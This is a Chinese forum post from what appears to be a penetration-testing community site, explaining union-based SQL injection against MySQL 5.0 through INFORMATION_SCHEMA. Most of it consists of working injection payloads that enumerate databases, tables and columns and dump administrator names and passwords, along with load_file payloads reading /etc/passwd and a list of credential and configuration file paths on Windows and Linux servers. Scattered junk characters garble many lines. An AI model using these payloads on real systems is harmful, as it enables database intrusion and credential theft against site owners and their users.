中国网络渗透测试联盟

标题: mysql5.0注入原理 [打印本页]

作者: admin    时间: 2013-3-7 13:24
标题: mysql5.0注入原理
记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
  Y" y3 Q- e& a% N7 r% s/ c
" b' t8 f  I0 T" Q& w% y" o
; g0 [5 m! Z, V$ }& W
% K& T( S+ x6 n8 W9 HMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其
1 y" f7 `3 H2 o中记录了Mysql中所有
1 y4 k$ t# D5 l8 r  S& g存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说/ X  ^  K, K1 J5 M/ v$ V" D
明。" u5 X. G+ S" v1 R) R
1.得到所有数据库名:
/ y/ p) |& j! y# H6 t) e6 c+ Q; v|SCHEMATA ->存储数据库名的表: @' R) j4 J# T# h! [
|—字段:SCHEMA_NAME ->数据库名称: H, s" P8 W' l% A5 j& D* p

0 z* G* a9 I: c, T0 |. C3 x* ^' V|TABLES ->存储表名
. X; `$ {) M7 ~0 {5 x|—字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名& B+ S& b" u  L; c8 T8 ^
|—字段:TABLE_NAME ->存储表的表名
7 Q. n/ a. a0 P3 M: @! Q# Q* w0 h* b* n$ [$ K7 x0 k2 w8 {! Y( d. c
|COLUMNS ->存储的字段名表
3 ]% \+ v, L/ X) n  D3 D  L5 E) q- @|—字段:TABLE_SCHEMA ->该字段所属数据库名
* x  m1 k1 v' n; A! ]|—字段:TABLE_NAME ->存储所属表的名称
/ u7 A9 E* b( w! P4 `
( r7 N1 ^- E* a' p3 g! e& [) d|—字段:COLUMN_NAME ->该字段的名称
- q6 S8 g% M" |4 ^  ?3 `
+ d: I& |, N: O/ H- r#########################################################################
9 [7 s4 y7 A; r, [##; P" Q8 a7 r9 r, o$ J3 k
7 B, w. B- d: l$ ^( E/ X) j
0×001 获取系统信息:  D6 W  M) z' l2 O& O8 W
$ O* K# S+ F, e( [: N; t) I
union select 1,2,3,4,5,concat) e* R# W/ c8 f& |0 j
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
& l' z6 w" |# U  o0 Z(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*1 q+ V8 j/ e8 G4 g+ z

2 p: j3 p1 J3 f/*& W) F+ i+ y7 ]" A
  r8 v7 P) W' W# @3 i' Z6 o
@@global.version_compile_os 获取系统版本
/ [( X5 T" e& Z. \3 ~( }) B- ^6 y( Z/ d
@@datadir 数据库路径0 y6 G" V$ G* b8 Q7 a
database() 当前数据库名称) y5 K" f/ h4 }) {
0x3c62723e 换行HEX值
5 L! N  h$ o' Z  i- k$ n  q/ E0 g* c- d$ k% L7 G5 N$ @
*/; G+ z' e- U. `8 j$ E! V

5 B, ]  |* Y; _1 C######################################################################
  e+ D8 T/ P+ h7 e3 P/ p" d+ N8 z. p; i) k: w$ m7 Q0 q
0×002 获取表名+ t  k- S5 C' S9 w# T
) Q' O* M& a& H  B* E9 o
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from1 x2 l: u0 D, e) d! I
information_schema.tables where table_schema=0x67617264656e /*
4 k" Q3 H9 d" u0 o
4 u3 y% j0 K& o  L; {' T' G/*
8 d8 Y- b/ C8 S8 Z& }' b6 k/ v
% i8 ^! z# R4 H3 J2 Y6 N/ `0x67617264656e 为当前数据库名
/ _7 }; j; _: E6 M) K2 o3 P% k( a
3 D. J3 d- b5 T, v0 D. Vgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名) v4 @1 U3 U9 }- D2 l$ T

0 f7 S. L) A' e5 J3 s/ n4 r*/
6 F$ R& i/ s* {! {( B
$ Y% k' S& \5 L" `# |2 B' t######################################################################) b: U" G; {2 A- Z- Y

8 H6 L, f% P& ~: P  q% c! f0×003 获取字段
8 ?0 m" O8 ~9 h5 I( {
$ D: D4 x0 u- p) L- o* punion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
( I  v  N9 H5 c  {: R) winformation_schema.columns where table_name=0x61646d696e and
4 G* R, C" Y" r
( T; f4 I/ r9 [3 n: E6 s4 _4 |9 E. @5 H  ^+ s' K: a4 T
table_schema=0x67617264656e limit 1 /*+ t! W/ T8 C; K9 {2 B4 x

) p$ K+ D$ q+ O0 K4 D* a2 b/*6 ^/ h$ s& f, f! {5 D
. i: {8 V- _7 S' @
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
( j% M# U: v* `2 m. `2 p
& p" U! A6 N& T0x61646d696e ->选择一个表
0 J/ z5 W' ^$ l9 Z  _* p1 z" s" H6 F: B" |1 |
0x67617264656e ->数据库名
# `& m8 V6 _- a8 b) X8 ^: Z" i7 O8 Q, s% J
*/
& l( y* q& a  P, p- B* |
. F0 T" T! X# l) K0 ?4 c. ]#####################################################################3 W2 P+ E( e- e; P/ t7 z

5 L0 S; r; x: [5 |0 I, W% X7 {' r2 u+ o0×004 获取数据
- F2 ^4 z7 ]5 R8 o5 @2 [7 W
% [: B& `6 G& ~! r' V6 tunion select 1,2,3
9 b) I9 T# O2 A, w,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
' a& }9 p% {5 x! Z. B. V& ?
& U, V" y0 Y7 {1 e9 `1 xunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
6 |8 W+ Y' Z0 D5 U(adpassword),6,7,8 from admin
& c& R0 H! @. r$ _0 T  `/ i4 x1 C1 Z* U7 U4 j/ V" m. V" \
/*
) V; D/ P9 Y3 A7 T; Z, p; M9 F2 {
5 {- V5 m6 S% q, Q- ~; a0x3c62723e 换行符号HEX编码( v  c0 L- I7 v5 Y' c% N# A+ g
3 m# x, J" V/ ]4 z; t8 h* ~4 O
group_concat 同时获得该字段所有数据
$ f* [, |( \7 }, y, x5 V' [" u/ |' G5 p
* m( M' }7 [% P# k4 |5 A: k*/
" w' Q" A/ S  U4 P1 X: p8 O* O
8 ^. _$ {5 g0 |; r; J- y: Z7 g . E2 a/ J9 x, B& `/ B3 g

" k; k5 j3 O- d* F+ v7 x, H 5 o  J# E6 q- V

, F8 Q' V3 J3 j3 Q顺便添加一些mysql注入时非常有用的一些东西! ]2 h: k3 N( ~& s5 r: a4 B

3 Y) Q* ]0 S* r: [1 T简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。, N% ]7 [" K' ~! P3 G

) I3 K! a- Z* L* w0 D) P( X1:system_user() 系统用户名5 b- {9 Y3 }3 e3 B3 z( q
2:user()        用户名0 t/ O" b! k) x6 [4 V7 J1 t! U
3:current_user()  当前用户名5 D$ k. E  T2 f) u+ j
4:session_user()连接数据库的用户名
* y% \+ }0 G, z0 a) q5:database()    数据库名
8 a% @( K* _9 T" m  H* K6:version()     MYSQL数据库版本* w5 @# k$ U" N/ F
7:load_file()   MYSQL读取本地文件的函数
1 z1 F& q* Q$ P, y  R8@datadir     读取数据库路径4 \* c4 c# E. `2 V& u. g  ]9 M
9@basedir    MYSQL 安装路径
; r2 p9 Z+ i. S% c0 G. B$ u10@version_compile_os   操作系统  Windows Server 2003,
1 ]  c" y& n: G7 K6 _) {4 b) }5 }收集的一些路径:' \0 _+ t& t0 [! O1 a! O9 K
WINDOWS下:5 K( k! t5 R% a8 z, s$ n
c:/boot.ini          //查看系统版本
2 `3 l% q/ y; Xc:/windows/php.ini   //php配置信息5 v* Q1 c( Y0 W* b
c:/windows/my.ini    //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
& a3 b" [1 r. `) x! X3 k: J5 Jc:/winnt/php.ini
1 G2 g8 r* h3 [$ B5 h( ^c:/winnt/my.ini. u$ ?% ]% E; a; y: I# t( {3 z
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码, T4 \, r% s3 [9 ]
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码6 o! D) r, i* Y2 M9 Q9 @% B( k3 q4 U
c:\Program Files\Serv-U\ServUDaemon.ini# B7 g  Y7 x% B2 {4 B
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件5 V/ H+ G& p' R; m
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
: F# Y3 ?- i1 V0 c7 H: W7 lc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
1 g* F$ |; W% b2 w1 d, g. Z0 U8 Oc:\Program Files\RhinoSoft.com\ServUDaemon.exe
8 M1 I" m9 T/ V! x* a- GC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
8 j3 y3 u. h/ Y" m/ e5 p//存储了pcAnywhere的登陆密码; X8 l2 |. \% ^, z
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
2 K, X+ N' C- uc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
' M% |  i/ ]5 }  E  K. b/ O
6 T8 Z* ~$ r- C8 b1 R# R
; A+ h1 e8 b, Y4 P6 @c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
# [) i) {: _, ad:\APACHE\Apache2\conf\httpd.conf
* n, g% F" x* B# j2 p9 RC:\Program Files\mysql\my.ini
  W& B0 W/ \; }2 nc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置2 i7 w) f2 c( Z4 `) c
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码5 t8 Q' K2 \, ?, C
7 p, x9 e4 d' ~; v. d( N4 d
LUNIX/UNIX下:
- ^# e. U  {6 a/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
* w1 v" \0 e0 D/usr/local/apache2/conf/httpd.conf
& u/ [) x9 C0 P, A* X$ {% S/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
) `/ w! r0 f+ @. c$ n$ s/usr/local/app/php5/lib/php.ini //PHP相关设置
' `- W4 Z$ Q9 _1 j# f+ H8 K/etc/sysconfig/iptables //从中得到防火墙规则策略
0 T+ s! Y" d- F6 z* Q5 f# d$ ]/etc/httpd/conf/httpd.conf // apache配置文件. t, j, ?4 a) V5 s2 G
/etc/rsyncd.conf //同步程序配置文件; k8 A; w, b+ J' A, d3 E
/etc/my.cnf //mysql的配置文件6 d# j. d% |/ O; _1 ?) ~6 _
/etc/redhat-release //系统版本- p* ]. p' n7 B+ r' s& x
/etc/issue3 ]7 e( B! m' J4 w
/etc/issue.net& |5 I8 K7 ^4 s& n: Y% H
/usr/local/app/php5/lib/php.ini //PHP相关设置
: G  }% X8 s: C) o/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
9 `, l/ z/ y8 {6 `5 L/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
4 A9 [4 m2 j5 ~# Y/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
2 S- T/ ?' ~: Y; M9 t/usr/local/resin-pro-3.0.22/conf/resin.conf 同上4 d; n/ ]" |7 D( I
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看) ~$ z  g# ~: |
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
0 a. y; u9 S: t8 z+ [/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
% A# v8 Q2 l: l- F* B  K" T/usr/local/resin-pro-3.0.22/conf/resin.conf 同上& _- E2 Q) z! @3 n9 `, B
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看" i0 |- h  m3 k: Q$ G5 }. C- d9 D
/etc/sysconfig/iptables 查看防火墙策略) v& a, C. u1 f0 A
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
) p2 Y2 r; D8 v8 t' A' z, Ireplace(load_file(0x2F6574632F706173737764),0x3c,0×20)5 w. m" V  o  d3 ]  o( i& z
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))/ r! s, r4 e- `& s
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.3 Q% `; Z, A2 J& t+ f

/ {# s# k" t+ @0 H5 E+ y




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2